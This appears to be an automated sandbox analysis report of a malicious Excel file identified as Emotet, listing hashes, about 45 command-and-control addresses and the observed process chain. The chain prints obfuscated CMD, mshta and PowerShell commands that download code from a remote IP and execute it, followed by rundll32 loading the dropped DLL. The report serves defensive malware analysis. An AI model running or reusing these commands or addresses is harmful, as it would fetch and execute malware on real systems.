Analysis
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max time kernel
122s -
max time network
160s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 01:28
Behavioral task
behavioral1
Sample
ORO656734416BB.xls
Resource
win7-en-20211208
General
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Target
ORO656734416BB.xls
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Size
46KB
-
MD5
7eced723576899b75511edb3cda5bb69
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SHA1
c5819e9dd4863a29484f08f31979ff9ee5635d6e
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SHA256
b0dd275157f1e44d3a67df073c2504ccf2f9de33ffb66de6ef37d412434d4e5f
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SHA512
46120f22d2d203b565affbbf3619d57aa3fa5f62d78f67706677be893f7a9aa209dcb65167b0ba6ddfd8c8da6953f255d75640044968529507d97053388ad257
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3872 2424 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 35 3940 mshta.exe 38 2612 powershell.exe 42 2612 powershell.exe 45 4036 rundll32.exe 46 4036 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 976 rundll32.exe 1880 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Siqqoszoez\qbuaqehmiized.ney rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3088 3940 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2424 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 2612 powershell.exe 2612 powershell.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 3088 WerFault.exe 2612 powershell.exe 4036 rundll32.exe 4036 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2612 powershell.exe Token: SeDebugPrivilege 3088 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE 2424 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2424 wrote to memory of 3872 2424 EXCEL.EXE CMD.EXE PID 2424 wrote to memory of 3872 2424 EXCEL.EXE CMD.EXE PID 3872 wrote to memory of 3940 3872 CMD.EXE mshta.exe PID 3872 wrote to memory of 3940 3872 CMD.EXE mshta.exe PID 3940 wrote to memory of 2612 3940 mshta.exe powershell.exe PID 3940 wrote to memory of 2612 3940 mshta.exe powershell.exe PID 2612 wrote to memory of 1036 2612 powershell.exe cmd.exe PID 2612 wrote to memory of 1036 2612 powershell.exe cmd.exe PID 1036 wrote to memory of 976 1036 cmd.exe rundll32.exe PID 1036 wrote to memory of 976 1036 cmd.exe rundll32.exe PID 1036 wrote to memory of 976 1036 cmd.exe rundll32.exe PID 976 wrote to memory of 1880 976 rundll32.exe rundll32.exe PID 976 wrote to memory of 1880 976 rundll32.exe rundll32.exe PID 976 wrote to memory of 1880 976 rundll32.exe rundll32.exe PID 1880 wrote to memory of 2096 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 2096 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 2096 1880 rundll32.exe rundll32.exe PID 2096 wrote to memory of 4036 2096 rundll32.exe rundll32.exe PID 2096 wrote to memory of 4036 2096 rundll32.exe rundll32.exe PID 2096 wrote to memory of 4036 2096 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ORO656734416BB.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Siqqoszoez\qbuaqehmiized.ney",nhOIpjIBminaFp8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Siqqoszoez\qbuaqehmiized.ney",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3940 -s 16604⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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\ProgramData\QWER.dllMD5
97daeda7d5269be2a567138e6ed876fe
SHA1ce707e51f782320a38f0bb434277edcc4394abbb
SHA256918b972486087dfd6d7ad348771617d9c9a45a7dc9ed5ce48b525e2ceb70da7f
SHA5121c7a1b4d13e874dc6359d4bbcf8c0d5efd6ec8143daebd8b512c3f3b6fc6da2666feba404ac4c73fae91229ae541856c94a52d7e707acc593af44b89eb8901be
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memory/976-321-0x0000000004A80000-0x0000000004AA5000-memory.dmpFilesize
148KB
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memory/1880-333-0x0000000004A20000-0x0000000004A45000-memory.dmpFilesize
148KB
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memory/1880-337-0x0000000004C10000-0x0000000004C35000-memory.dmpFilesize
148KB
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memory/1880-331-0x00000000049C0000-0x00000000049E5000-memory.dmpFilesize
148KB
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memory/1880-329-0x0000000004860000-0x0000000004885000-memory.dmpFilesize
148KB
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memory/1880-326-0x0000000004350000-0x0000000004375000-memory.dmpFilesize
148KB
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memory/1880-324-0x0000000000960000-0x0000000000985000-memory.dmpFilesize
148KB
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memory/2096-338-0x00000000008A0000-0x00000000008C5000-memory.dmpFilesize
148KB
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memory/2424-132-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmpFilesize
64KB
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memory/2424-594-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-593-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-121-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-120-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-119-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-592-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-591-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-124-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2424-131-0x00007FF9E4750000-0x00007FF9E4760000-memory.dmpFilesize
64KB
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memory/2424-118-0x00007FF9E80C0000-0x00007FF9E80D0000-memory.dmpFilesize
64KB
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memory/2612-309-0x0000024F71F00000-0x0000024F71F76000-memory.dmpFilesize
472KB
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memory/2612-314-0x0000024F71160000-0x0000024F71260000-memory.dmpFilesize
1024KB
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memory/2612-280-0x0000024F71160000-0x0000024F71260000-memory.dmpFilesize
1024KB
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memory/2612-281-0x0000024F71160000-0x0000024F71260000-memory.dmpFilesize
1024KB
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memory/2612-277-0x0000024F71760000-0x0000024F71782000-memory.dmpFilesize
136KB
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memory/2612-298-0x0000024F71AF0000-0x0000024F71B2C000-memory.dmpFilesize
240KB
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memory/4036-341-0x0000000002FE0000-0x0000000003005000-memory.dmpFilesize
148KB
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memory/4036-340-0x0000000002FE1000-0x0000000003002000-memory.dmpFilesize
132KB